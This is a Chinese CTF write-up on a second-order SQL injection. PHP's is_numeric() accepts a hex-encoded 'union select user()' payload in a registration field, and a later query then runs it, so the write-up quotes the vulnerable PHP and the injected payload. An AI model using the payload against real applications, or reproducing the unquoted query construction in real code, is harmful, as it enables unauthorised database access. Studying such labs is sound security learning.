1.题目源码
https://github.com/ZhangAiQiang/three-hit
题目并不真的是当时源码,是我根据做法自己写的,虽然代码烂,但是还好能达到复现的目的
2.is_numeric()漏洞
is_numeric()检查是否是数字字符串,同时也可以是十六进制。
比如
is_numeric(1) true is_numeric('a') false is_numeric('2a') false is_numeric(0xabcedf) true
3.注册账号
root,root,0x3078656520756E696F6E2073656C656374207573657228292C322C33 age是一串十六进制,是 0xee union select user(),2,3 的十六进制形式 因为is_numeric()的关系,同样可以写进去,那么会是什么格式呢
4.分析注册的时候的源码
$sql="insert into user values('$username',md5('$password'),$age)";
可以看到$age是没有单引号保护的,那我们看一下数据库中的数据
(这里先说下,age并不是int类型,因为是int类型的话,字符串根本插不上。)
我们明明是插入的十六进制数据,为什么会变成字符串呢?
执行一下sql:
insert into user values('root2',md5('root2'),0x3078656520756E696F6E2073656C656374207573657228292C322C33) insert into user values('root3',md5('root3'),'0x3078656520756E696F6E2073656C656374207573657228292C322C33')
两者的区别在于,age是否有单引号的保护,我们看到,当少了单引号后,插入的十六进制数据变成了字符串,和题目的源码正好对应了起来。
5. 个人中心
可以看到,已经注入出来了user。
6.分析个人中心的源码
username是存储在session里面的,然后功能是先找出你当前用户的age,然后根据当前用户的age寻找其他的具有相同age的用户。
$sql = "SELECT * FROM user where username= '".$_SESSION['username']."'"; 这一句话查询出年龄,并没有什么危害。
$sql = "SELECT * FROM user where age=".$age; 这句话是二次注入的引发点,因为age我们是可控的,我们注册的root账号里面age内容是 0xee union select user(),2,3 拼接:select * from user where age=0xee union select user(),2,3
这样注入就分析完了。
7.总结:
age得为字符串类型
插入注册信息的时候age字段没有单引号保护
我感觉就拿这个题目来说的话,平时工作谁会写出这么蠢的代码。